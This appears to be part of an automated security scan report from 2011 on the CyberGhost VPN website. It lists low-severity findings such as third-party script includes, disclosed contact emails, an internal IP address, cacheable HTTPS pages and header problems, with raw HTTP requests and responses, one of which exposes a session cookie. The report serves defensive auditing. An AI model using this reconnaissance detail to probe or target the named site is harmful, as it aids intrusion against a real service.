https://twitter-widgets.s3.amazonaws.com/j/2/widget.js

Request

GET /fr/surf-anonym.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Thu, 23 Jun 2011 15:42:52 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Vary: Accept-Encoding
Content-Type: text/html
X-Cache: MISS from web1.cyberghostvpn.com
X-Cache-Lookup: MISS from web1.cyberghostvpn.com:3128
Via: 1.1 web1.cyberghostvpn.com:3128 (squid)
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>CyberGhost VPN
...[SNIP]...
</h3>
<script src="https://twitter-widgets.s3.amazonaws.com/j/2/widget.js" type="text/javascript"></script>
...[SNIP]...

4.7. http://cyberghostvpn.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cyberghostvpn.com
Path:	/index.php

Issue detail

The response dynamically includes the following script from another domain:

https://twitter-widgets.s3.amazonaws.com/j/2/widget.js

Request

GET /index.php HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Thu, 23 Jun 2011 15:42:42 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Vary: Accept-Encoding
Content-Type: text/html
X-Cache: MISS from web1.cyberghostvpn.com
X-Cache-Lookup: MISS from web1.cyberghostvpn.com:3128
Via: 1.1 web1.cyberghostvpn.com:3128 (squid)
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Surf anonymous
...[SNIP]...
</h3>
<script src="https://twitter-widgets.s3.amazonaws.com/j/2/widget.js" type="text/javascript"></script>
...[SNIP]...

4.8. http://cyberghostvpn.com/it/surf-anonym.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cyberghostvpn.com
Path:	/it/surf-anonym.html

Issue detail

The response dynamically includes the following script from another domain:

https://twitter-widgets.s3.amazonaws.com/j/2/widget.js

Request

GET /it/surf-anonym.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Thu, 23 Jun 2011 15:42:52 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Vary: Accept-Encoding
Content-Type: text/html
X-Cache: MISS from web1.cyberghostvpn.com
X-Cache-Lookup: MISS from web1.cyberghostvpn.com:3128
Via: 1.1 web1.cyberghostvpn.com:3128 (squid)
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>CyberGhost VPN
...[SNIP]...
</h3>
<script src="https://twitter-widgets.s3.amazonaws.com/j/2/widget.js" type="text/javascript"></script>
...[SNIP]...

4.9. http://cyberghostvpn.com/page/recover.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cyberghostvpn.com
Path:	/page/recover.php

Issue detail

The response dynamically includes the following script from another domain:

http://api.recaptcha.net/challenge?k=6LfBVAwAAAAAAO1brJohrFq4V1uJFTqWnmAmwNwO

Request

Response

4.10. https://cyberghostvpn.com/de/anonym-surfen.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://cyberghostvpn.com
Path:	/de/anonym-surfen.html

Issue detail

The response dynamically includes the following script from another domain:

https://twitter-widgets.s3.amazonaws.com/j/2/widget.js

Request

GET /de/anonym-surfen.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 23 Jun 2011 15:41:55 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 13865

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Anonym surfen
...[SNIP]...
</h3>
<script src="https://twitter-widgets.s3.amazonaws.com/j/2/widget.js" type="text/javascript"></script>
...[SNIP]...

4.11. https://cyberghostvpn.com/en/surf-anonym.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://cyberghostvpn.com
Path:	/en/surf-anonym.html

Issue detail

The response dynamically includes the following script from another domain:

https://twitter-widgets.s3.amazonaws.com/j/2/widget.js

Request

GET /en/surf-anonym.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 23 Jun 2011 15:41:56 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 13735

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Surf anonymous
...[SNIP]...
</h3>
<script src="https://twitter-widgets.s3.amazonaws.com/j/2/widget.js" type="text/javascript"></script>
...[SNIP]...

4.12. https://cyberghostvpn.com/es/surf-anonym.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://cyberghostvpn.com
Path:	/es/surf-anonym.html

Issue detail

The response dynamically includes the following script from another domain:

https://twitter-widgets.s3.amazonaws.com/j/2/widget.js

Request

GET /es/surf-anonym.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 23 Jun 2011 15:41:54 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 14411

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>CyberGhost VPN
...[SNIP]...
</h3>
<script src="https://twitter-widgets.s3.amazonaws.com/j/2/widget.js" type="text/javascript"></script>
...[SNIP]...

4.13. https://cyberghostvpn.com/fr/surf-anonym.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://cyberghostvpn.com
Path:	/fr/surf-anonym.html

Issue detail

The response dynamically includes the following script from another domain:

https://twitter-widgets.s3.amazonaws.com/j/2/widget.js

Request

GET /fr/surf-anonym.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 23 Jun 2011 15:41:53 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 14752

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>CyberGhost VPN
...[SNIP]...
</h3>
<script src="https://twitter-widgets.s3.amazonaws.com/j/2/widget.js" type="text/javascript"></script>
...[SNIP]...

4.14. https://cyberghostvpn.com/it/surf-anonym.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://cyberghostvpn.com
Path:	/it/surf-anonym.html

Issue detail

The response dynamically includes the following script from another domain:

https://twitter-widgets.s3.amazonaws.com/j/2/widget.js

Request

GET /it/surf-anonym.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 23 Jun 2011 15:41:57 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 14336

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>CyberGhost VPN
...[SNIP]...
</h3>
<script src="https://twitter-widgets.s3.amazonaws.com/j/2/widget.js" type="text/javascript"></script>
...[SNIP]...

5. Email addresses disclosed previous next
There are 2 instances of this issue:

http://cyberghostvpn.com/en/contact.html
https://cyberghostvpn.com/en/contact.html

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

5.1. http://cyberghostvpn.com/en/contact.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cyberghostvpn.com
Path:	/en/contact.html

Issue detail

The following email addresses were disclosed in the response:

office@cyberghost.ro
support@cyberghost.ro

Request

GET /en/contact.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Thu, 23 Jun 2011 15:42:51 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
X-Cache: MISS from web1.cyberghostvpn.com
X-Cache-Lookup: MISS from web1.cyberghostvpn.com:3128
Via: 1.1 web1.cyberghostvpn.com:3128 (squid)
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Imprint & Conta
...[SNIP]...
<p>Email: office@cyberghost.ro <small>
...[SNIP]...
<br />
Email: support@cyberghost.ro</p>
...[SNIP]...

5.2. https://cyberghostvpn.com/en/contact.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://cyberghostvpn.com
Path:	/en/contact.html

Issue detail

The following email addresses were disclosed in the response:

office@cyberghost.ro
support@cyberghost.ro

Request

GET /en/contact.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 23 Jun 2011 15:41:56 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 9134

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Imprint & Conta
...[SNIP]...
<p>Email: office@cyberghost.ro <small>
...[SNIP]...
<br />
Email: support@cyberghost.ro</p>
...[SNIP]...

6. Private IP addresses disclosed previous next
There are 2 instances of this issue:

http://cyberghostvpn.com/en/support/overview.html
https://cyberghostvpn.com/en/support/overview.html

Issue background

RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organisation, the private addresses used internally cannot usually be determined in the same ways.

Discovering the private addresses used within an organisation can help an attacker in carrying out network-layer attacks aiming to penetrate the organisation's internal infrastructure.

Issue remediation

There is not usually any good reason to disclose the internal IP addresses used within an organisation's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.

6.1. http://cyberghostvpn.com/en/support/overview.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cyberghostvpn.com
Path:	/en/support/overview.html

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.128.0.1

Request

GET /en/support/overview.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Thu, 23 Jun 2011 15:42:47 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
X-Cache: MISS from web1.cyberghostvpn.com
X-Cache-Lookup: MISS from web1.cyberghostvpn.com:3128
Via: 1.1 web1.cyberghostvpn.com:3128 (squid)
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Frequently aske
...[SNIP]...
<p>cFosSpeed supports VPN. To be able to use traffic shaping via VPN connections, you need to set the value "ping_dest" to "10.128.0.1" in the [param] section of the cFosSpeed.ini file. (Note from administrators: 10.128.0.1 is an IP address from the CyberGhost VPN network).</p>
...[SNIP]...

6.2. https://cyberghostvpn.com/en/support/overview.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://cyberghostvpn.com
Path:	/en/support/overview.html

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.128.0.1

Request

GET /en/support/overview.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 23 Jun 2011 15:41:55 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 15723

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Frequently aske
...[SNIP]...
<p>cFosSpeed supports VPN. To be able to use traffic shaping via VPN connections, you need to set the value "ping_dest" to "10.128.0.1" in the [param] section of the cFosSpeed.ini file. (Note from administrators: 10.128.0.1 is an IP address from the CyberGhost VPN network).</p>
...[SNIP]...

7. Cacheable HTTPS response previous next
There are 5 instances of this issue:

/de/anonym-surfen.html
/en/surf-anonym.html
/es/surf-anonym.html
/fr/surf-anonym.html
/it/surf-anonym.html

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:

Cache-control: no-store
Pragma: no-cache

7.1. https://cyberghostvpn.com/de/anonym-surfen.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://cyberghostvpn.com
Path:	/de/anonym-surfen.html

Request

GET /de/anonym-surfen.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

7.2. https://cyberghostvpn.com/en/surf-anonym.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://cyberghostvpn.com
Path:	/en/surf-anonym.html

Request

GET /en/surf-anonym.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

7.3. https://cyberghostvpn.com/es/surf-anonym.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://cyberghostvpn.com
Path:	/es/surf-anonym.html

Request

GET /es/surf-anonym.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

7.4. https://cyberghostvpn.com/fr/surf-anonym.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://cyberghostvpn.com
Path:	/fr/surf-anonym.html

Request

GET /fr/surf-anonym.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

7.5. https://cyberghostvpn.com/it/surf-anonym.html previous

Summary

Severity:	Information
Confidence:	Certain
Host:	https://cyberghostvpn.com
Path:	/it/surf-anonym.html

Request

GET /it/surf-anonym.html HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

8. HTML does not specify charset previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://cyberghostvpn.com
Path:	/action.php

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET /action.php HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 23 Jun 2011 15:41:52 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 208
Connection: close
Content-Type: text/html

array(3) {
["PHPSESSID"]=>
string(32) "ef3b1e5235247b4f2280aabb485ea8e7"
["_pk_ses_1_3a08"]=>
string(1) "*"
["_pk_id_1_3a08"]=>
string(52) "9b31daa595bd050e.1308842730.1.1308842750.1308842
...[SNIP]...

9. Content type incorrectly stated previous

Summary

Severity:	Information
Confidence:	Firm
Host:	https://cyberghostvpn.com
Path:	/action.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html

The response states that it contains HTML. However, it actually appears to contain CSS.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /action.php HTTP/1.1
Host: cyberghostvpn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

Report generated by XSS.CX at Thu Jun 23 10:51:46 CDT 2011.